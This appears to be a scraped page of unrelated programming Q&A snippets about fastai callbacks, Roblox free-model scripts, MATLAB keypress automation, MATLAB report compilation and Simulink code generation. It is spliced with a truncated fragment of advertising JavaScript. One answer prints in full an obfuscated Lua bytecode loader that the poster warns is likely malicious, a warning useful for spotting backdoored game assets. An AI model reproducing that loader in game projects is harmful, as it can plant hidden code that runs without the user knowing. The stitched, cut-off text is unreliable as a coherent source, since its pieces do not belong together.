Related
I am working on a deep learning project in Fastai and wish to use EarlyStoppingCallback with ReduceLROnPlateauCallback in it. Read callbacks.fastai but struggling to understand how to implement both and couldn't find any relevant example. Any help would be appreciated.
learn = cnn_learner(data, models.resnet50, metrics = [accuracy,quadratic_kappa])
learn.fit(50,2e-6)
The way I normally do it is this way....
First create the learner Object
learn = Learner(data,
model,
loss_func=....,
opt_func=....,
metrics=..... )
learn.unfreeze()
Then you call any callbacks on your fit_one_cycle
learn.fit_one_cycle(16,
max_lr=1e-3,
div_factor=100,
pct_start=0.0,
callbacks = [SaveModelCallback(learn,
name=f'model',monitor='kappa_score')])
maybe you can also do like this-:
from fastai.callbacks import *
from fastai.callback import Callback
from fastai.vision import partial
learner = cnn_learner(data, models.resnet50, metrics=[accuracy], pretrained=True, callback_fns=[partial(EarlyStoppingCallback, monitor='valid_loss', min_delta=0.01, patience=3)])
# or
learner = cnn_learner(data, models.resnet101, metrics=[accuracy], pretrained=True, callbacks=EarlyStoppingCallback(monitor='valid_loss', min_delta=0.01, patience=3))
learner.fit(150)
# it will stop if "valid_loss" will not decrease (patience=3)
This is an extremely long piece of code popularly associated with free model scripts that people commonly add to their game but it always gets deleted by moderators on-site
local d=string.byte;local r=string.char;local c=string.sub;local b=table.concat;local s=math.ldexp;local Y=getfenv or function()return _ENV end;local l=setmetatable;local h=select;local f=unpack;local u=tonumber;local function g(d)local e,o,a="","",{}local n=256;local t={}for l=0,n-1 do t[l]=r(l)end;local l=1;local function i()local e=u(c(d,l,l),36)l=l+1;local o=u(c(d,l,l+e-1),36)l=l+e;return o end;e=r(i())a[1]=e;while l<#d do local l=i()if t[l]then o=t[l]else o=e..c(e,1,1)end;t[n]=e..c(o,1,1)a[#a+1],e,n=o,o,n+1 end;return table.concat(a)end;local a=g('21521627521621927622G22722J22N21V27A21727522Y26I26O25J25O22Z21621A27621Y21X22322627621621827622C1Y26225X1E1Y27522821M2811B21M27522D21M1A21628928B2161Q28F27622D1Y28A1B28421628M27528P276');local n=bit and bit.bxor or function(l,e)local o,n=1,0 while l>0 and e>0 do local c,a=l%2,e%2 if c~=a then n=n+o end l,e,o=(l-c)/2,(e-a)/2,o*2 end if l<e then l=e end while l>0 do local e=l%2 if e>0 then n=n+o end l,o=(l-e)/2,o*2 end return n end local function e(e,l,o)if o then local l=(e/2^(l-1))%2^((o-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function o()local o,a,c,e=d(a,l,l+3);o=n(o,42)a=n(a,42)c=n(c,42)e=n(e,42)l=l+4;return(e*16777216)+(c*65536)+(a*256)+o;end;local function t()local e=n(d(a,l,l),42);l=l+1;return e;end;local function g()local l=o();local n=o();local c=1;local o=(e(n,1,20)*(2^32))+l;local l=e(n,21,31);local e=((-1)^e(n,32));if(l==0)then if(o==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(o==0)and(e*(1/0))or(e*(0/0));end;return s(e,l-1023)*(c+(o/(2^52)));end;local u=o;local function i(e)local o;if(not e)then e=u();if(e==0)then return'';end;end;o=c(a,l,l+e-1);l=l+e;local e={}for l=1,#o do e[l]=r(n(d(c(o,l,l)),42))end return b(e);end;local l=o;local function u(...)return{...},h('#',...)end local function s()local d={0,0,0,0,0,0};local r={};local l={};local a={d,nil,r,nil,l};local l=o()local c={0,0,0};for o=1,l do local e=t();local l;if(e==3)then l=(t()~=0);elseif(e==1)then l=g();elseif(e==0)then l=i();end;c[o]=l;end;a[2]=c for l=1,o()do r[l-1]=s();end;for a=1,o()do local c=n(o(),127);local o=n(o(),33);local n=e(c,1,2);local l=e(o,1,11);local l={l,e(c,3,11),nil,nil,o};if(n==0)then l[3]=e(c,12,20);l[5]=e(c,21,29);elseif(n==1)then l[3]=e(o,12,33);elseif(n==2)then l[3]=e(o,12,32)-1048575;elseif(n==3)then l[3]=e(o,12,32)-1048575;l[5]=e(c,21,29);end;d[a]=l;end;a[4]=t();return a;end;local function b(l,e,i)local n=l[1];local e=l[2];local o=l[3];local l=l[4];return function(...)local r=n;local c=e;local e=o;local n=l;local l=u local o=1;local t=-1;local u={};local a={...};local d=h('#',...)-1;local l={};local e={};for l=0,d do if(l>=n)then u[l-n]=a[l+1];else e[l]=a[l+1];end;end;local l=d-n+1 local l;local n;while true do l=r[o];n=l[1];if n<=5 then if n<=2 then if n<=0 then e[l[2]]=i[c[l[3]]];elseif n>1 then do return end;else e[l[2]]();t=A;end;elseif n<=3 then e[l[2]]=e[l[3]][c[l[5]]];elseif n>4 then local h;local d;local a;local u;local n;e[l[2]]=i[c[l[3]]];o=o+1;l=r[o];e[l[2]]=c[l[3]];o=o+1;l=r[o];n=l[2];u={};a=0;d=n+l[3]-1;for l=n+1,d do a=a+1;u[a]=e[l];end;h={e[n](f(u,1,d-n))};d=n+l[5]-2;a=0;for l=n,d do a=a+1;e[l]=h[a];end;t=d;o=o+1;l=r[o];e[l[2]]=e[l[3]][c[l[5]]];o=o+1;l=r[o];e[l[2]]();t=n;o=o+1;l=r[o];do return end;else e[l[2]]=c[l[3]];end;elseif n<=8 then if n<=6 then e[l[2]]=i[c[l[3]]];elseif n>7 then e[l[2]]();t=A;else local n=l[2];local c={};local o=0;local a=n+l[3]-1;for l=n+1,a do o=o+1;c[o]=e[l];end;local c={e[n](f(c,1,a-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;t=l;end;elseif n<=10 then if n==9 then do return end;else e[l[2]]=e[l[3]][c[l[5]]];end;elseif n==11 then e[l[2]]=c[l[3]];else local n=l[2];local c={};local o=0;local a=n+l[3]-1;for l=n+1,a do o=o+1;c[o]=e[l];end;local c={e[n](f(c,1,a-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;t=l;end;o=o+1;end;end;end;return b(s(),{},Y())();
It's incredibly suspicious. It has been obfuscated, minified, and constructs a complex and unreadable string of byte code to execute. If you can't immediately read and understand code in Free Models, you should expect it's malicious.
This will explain itself.
local a=g('21521627521621927622G22722J22N21V27A21727522Y26I26O25J25O22Z21621A27621Y21X22322627621621827622C1Y26225X1E1Y27522821M2811B21M27522D21M1A21628928B2161Q28F27622D1Y28A1B28421628M27528P276')
-- doesn't look too good, this is definitely suspicious
local d={0,0,0,0,0,0} -- why would you need this?
-- This has ben obfuscated and minified. Don't trust it.
1000){r=r.substring(0,r.length-1);}return r;}());} var ftDomain = (window==top)?"":(function(){var d=document.referrer,h=(d)?d.match("(?::q/q/)+([qw-]+(q.[qw-]+)+)(q/)?".replace(/q/g,decodeURIComponent("%"+"5C")))[1]:"";return (h&&h!=location.host)?"&ft_ifb=1&ft_domain="+encodeURIComponent(h):"";}()); var ftV_6210087={pID:"6210087",width:"300",height:"250",params:{ftx:window.ftX,fty:window.ftY,ftadz:window.ftZ,ftscw:window.ftContent,ft_custom:window.ftCustom,ft_id:window.ftID||"",ft_idEnabled:window.ftIDEnabled||"",ftOBA:window.ftOBA,ft_domain:((ftDomain||"").match(RegExp("&ft_domain=([^&$]+)","i"))||["",""])[1],ft_ifb:((ftDomain||"").match(RegExp("&ft_ifb=([^&$]+)","i"))||["",""])[1],ft_agentEnv:window.mraid||window.ormma?"1":"0",ft_referrer:encodeURIComponent(window.ft_referrer),gdpr:"0",gdpr_consent:"",us_privacy:"${US_PRIVACY}",cachebuster:window.ftRandom},winVars:{ftClick_6210087:window.ftClick_6210087,ftExpTrack_6210087:window.ftExpTrack_6210087,ft300x250_OOBclickTrack:window.ft300x250_OOBclickTrack},DTimeout:1E3,GTimeout:1E3}, ftPProc=function(d){var c=this;d=JSON.parse(JSON.stringify(d));var f=[],l=function(a,b){b="undefined"===typeof b||isNaN(b)?1:parseInt(b,10);a=a||"";for(var e=0<=b?b:0;e--;)a=encodeURIComponent(a);return a},h=function(a){a=a.constructor==Array?a:[];for(var b=0;b
how its possible to Matlab input work in command window and then press ENTER without touching keyboard..
or any pushbutton function which can do that
thanks
I have this generic solution, based on undocumented matlab. It enables to press any button based on a string input (e.g. '0') by searching through a string of possible buttons to press. Watch out, this will also be pressed outside of the Matlab environment.
function presskey(mykey)
keys={'KEY_FIRST ','KEY_LAST ','KEY_PRESSED ','KEY_RELEASED ','KEY_TYPED ','VK_0 ','VK_1 ','VK_2 ','VK_3 ','VK_4 ','VK_5 ','VK_6 ','VK_7 ','VK_8 ','VK_9 ','VK_A ','VK_ACCEPT ','VK_ADD ','VK_AGAIN ','VK_ALL_CANDIDATES ','VK_ALPHANUMERIC ','VK_ALT ','VK_ALT_GRAPH ','VK_AMPERSAND ','VK_ASTERISK ','VK_AT ','VK_B ','VK_BACK_QUOTE ','VK_BACK_SLASH ','VK_BACK_SPACE ','VK_BRACELEFT ','VK_BRACERIGHT ','VK_C ','VK_CANCEL ','VK_CAPS_LOCK ','VK_CIRCUMFLEX ','VK_CLEAR ','VK_CLOSE_BRACKET ','VK_CODE_INPUT ','VK_COLON ','VK_COMMA ','VK_COMPOSE ','VK_CONTROL ','VK_CONVERT ','VK_COPY ','VK_CUT ','VK_D ','VK_DEAD_ABOVEDOT ','VK_DEAD_ABOVERING ','VK_DEAD_ACUTE ','VK_DEAD_BREVE ','VK_DEAD_CARON ','VK_DEAD_CEDILLA ','VK_DEAD_CIRCUMFLEX ','VK_DEAD_DIAERESIS ','VK_DEAD_DOUBLEACUTE ','VK_DEAD_GRAVE ','VK_DEAD_IOTA ','VK_DEAD_MACRON ','VK_DEAD_OGONEK ','VK_DEAD_SEMIVOICED_SOUND ','VK_DEAD_TILDE ','VK_DEAD_VOICED_SOUND ','VK_DECIMAL ','VK_DELETE ','VK_DIVIDE ','VK_DOLLAR ','VK_DOWN ','VK_E ','VK_END ','VK_ENTER ','VK_EQUALS ','VK_ESCAPE ','VK_EURO_SIGN ','VK_EXCLAMATION_MARK ','VK_F ','VK_F1 ','VK_F10 ','VK_F11 ','VK_F12 ','VK_F13 ','VK_F14 ','VK_F15 ','VK_F16 ','VK_F17 ','VK_F18 ','VK_F19 ','VK_F2 ','VK_F20 ','VK_F21 ','VK_F22 ','VK_F23 ','VK_F24 ','VK_F3 ','VK_F4 ','VK_F5 ','VK_F6 ','VK_F7 ','VK_F8 ','VK_F9 ','VK_FINAL ','VK_FIND ','VK_FULL_WIDTH ','VK_G ','VK_GREATER ','VK_H ','VK_HALF_WIDTH ','VK_HELP ','VK_HIRAGANA ','VK_HOME ','VK_I ','VK_INSERT ','VK_INVERTED_EXCLAMATION_MARK ','VK_J ','VK_JAPANESE_HIRAGANA ','VK_JAPANESE_KATAKANA ','VK_JAPANESE_ROMAN ','VK_K ','VK_KANA ','VK_KANJI ','VK_KATAKANA ','VK_KP_DOWN ','VK_KP_LEFT ','VK_KP_RIGHT ','VK_KP_UP ','VK_L ','VK_LEFT ','VK_LEFT_PARENTHESIS ','VK_LESS ','VK_M ','VK_META ','VK_MODECHANGE ','VK_MULTIPLY ','VK_N ','VK_NONCONVERT ','VK_NUM_LOCK ','VK_NUMBER_SIGN ','VK_NUMPAD0 ','VK_NUMPAD1 ','VK_NUMPAD2 ','VK_NUMPAD3 ','VK_NUMPAD4 ','VK_NUMPAD5 ','VK_NUMPAD6 ','VK_NUMPAD7 ','VK_NUMPAD8 ','VK_NUMPAD9 ','VK_O ','VK_OPEN_BRACKET ','VK_P ','VK_PAGE_DOWN ','VK_PAGE_UP ','VK_PASTE ','VK_PAUSE ','VK_PERIOD ','VK_PLUS ','VK_PREVIOUS_CANDIDATE ','VK_PRINTSCREEN ','VK_PROPS ','VK_Q ','VK_QUOTE ','VK_QUOTEDBL ','VK_R ','VK_RIGHT ','VK_RIGHT_PARENTHESIS ','VK_ROMAN_CHARACTERS ','VK_S ','VK_SCROLL_LOCK ','VK_SEMICOLON ','VK_SEPARATER ','VK_SHIFT ','VK_SLASH ','VK_SPACE ','VK_STOP ','VK_SUBTRACT ','VK_T ','VK_TAB ','VK_U ','VK_UNDEFINED ','VK_UNDERSCORE ','VK_UNDO ','VK_UP ','VK_V ','VK_W ','VK_X ','VK_Y ','VK_Z'};
a=(find(~cellfun('isempty',strfind(keys,mykey))));
if ~isempty(a)
mykey=keys{a(1)};
robot = java.awt.Robot;
eval(['robot.keyPress (java.awt.event.KeyEvent.' mykey ')']);
eval(['robot.keyRelease (java.awt.event.KeyEvent.' mykey ')']);
end
end
I am trying to convert a simple program that uses "Presentation" (from reportgen package) to a .exe.
The code is as follows:
makePPTCompilable();
import mlreportgen.ppt.*
slides = Presentation('mySlideAddPresentation.pptx');
slide1 = add(slides,'Title and Picture');
plane = Picture(which('tulips.jpg'));
plane.X = '4in';
plane.Y = '4in';
plane.Width = '5in';
plane.Height = '2in';
add(slide1,plane);
close(slides);
I get the following error on running the complied version:
" Undefined function 'Presentation' for input arguments of type 'char'"
Any idea what I am missing here?I am on 2015b, used the following link for help: https://www.mathworks.com/help/rptgen/ug/compile-a-presentation-program.html
You need to make the reportgen compilable, see here and here
In my code I put:
if ismcc || isdeployed
% Make sure DOM is compilable
makeDOMCompilable()
end
Then it compiles fine! :)
I am having a model which takes two input & multiplies them & give the output.
output_1 = input_1 * input_2
I have declared my simulink signals as CustomStorageClass= GetSet
input_1 = Simulink.Signal;
input_1.CoderInfo.StorageClass = 'Custom';
input_1.CoderInfo.CustomStorageClass = 'GetSet';
input_1.CoderInfo.CustomAttributes.GetFunction = 'Get_input_1';
input_1.CoderInfo.CustomAttributes.SetFunction = 'Set_input_1';
input_1.CoderInfo.CustomAttributes.HeaderFile = 'signals.h';
input_2 = Simulink.Signal;
input_2.CoderInfo.StorageClass = 'Custom';
input_2.CoderInfo.CustomStorageClass = 'GetSet';
input_2.CoderInfo.CustomAttributes.GetFunction = 'Get_input_2';
input_2.CoderInfo.CustomAttributes.SetFunction = 'Set_input_2';
input_2.CoderInfo.CustomAttributes.HeaderFile = 'signals.h';
output_1 = Simulink.Signal;
output_1.CoderInfo.StorageClass = 'Custom';
output_1.CoderInfo.CustomStorageClass = 'GetSet';
output_1.CoderInfo.CustomAttributes.GetFunction = 'Get_output_1';
output_1.CoderInfo.CustomAttributes.SetFunction = 'Set_output_1';
output_1.CoderInfo.CustomAttributes.HeaderFile = 'signals.h';
Now I am trying to convert my model to code using simulink coder.
In code generation setting of the model i have selected ert.tlc file in the system target file settings.
But the generated code does not have a Get_input_1() or Get_input_2() call like shown in this link.
http://www.mathworks.com/help/ecoder/ug/getset-custom-storage-classes.html
What i have missed in the setting. Please suggest
I know you probably already solved this issue, but I have also seen this behavior before.
Sometimes MATLAB does not update the header files correctly. If you had set a different configuration for your variable and then made a change involving the header files, I would recommend erasing the *_ert_rtw and slprj folders (they will appear again). It is similar to doing a "Make clean" operation, to ensure that everything is brand new.